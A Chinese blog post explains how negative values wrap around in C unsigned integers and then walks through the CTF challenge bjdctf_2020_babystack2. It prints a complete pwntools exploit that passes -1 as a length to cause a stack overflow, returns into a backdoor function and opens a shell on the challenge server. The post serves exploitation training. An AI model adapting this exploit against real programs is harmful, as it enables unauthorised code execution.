本文最后更新于 554 天前,其中的信息可能已经有所发展或是发生改变。
数据元素类型:unsigned(无符号整型)
C语言中,无符号整型数是不带正负表示符号的整型数。C语言在计算机里编译时数都是用二进制表示的,如果最左边这一位不用来表示正负,而是和后面的连在一起表示整数,那么就不能区分这个数是正还是负,就只能是正数,这就是无符号整型数。
unsigned a=-6; printf("%u\n",1); 输出:1 printf("%u\n",0); 输出:0
当传入的值负数的时候,值会溢出,从而得到一个非常大的值,下面就是测试的直观看法:
printf("%u\n",-1); 输出:4294967295 printf("%u\n",-6); 输出:4294967290 printf("%u\n",a); 输出:4294967290
有符号整型,写作signed int, 简写为int时效果相同,因为C语言默认为有符号数。
如果在无符号类型中输入-1会被判断成一个很大的正整数,从而会导致出现一些如果判断的情况出现
bjdctf_2020_babystack2:https://buuoj.cn/challenges#bjdctf_2020_babystack2
main函数中就存在这很明显的漏洞,先输入-1,在进行nbutes进行判断的时候读取位-1,但是在read中作为参数时被转换为无符号整型(unsiged int),这个时候-1就会被识别成一个很大的整整数,从而导致栈溢出。
from pwn import *
context.log_level = 'debug'
content = 0
elf = ELF('./bjdctf_2020_babystack2')
# 题目里面有个后面函数,用elf直接查地址
backdoor = elf.symbols['backdoor']
def main():
if content == 1:
p = process('./bjdctf_2020_babystack2')
else:
p = remote("node4.buuoj.cn", 25588)
p.sendlineafter('[+]Please input the length of your name:\n', '-1')
payload = b'a' * (0x10 + 0x8) + p64(backdoor)
p.sendlineafter("[+]What's u name?\n" ,payload)
p.interactive()
main()
浏览量: 198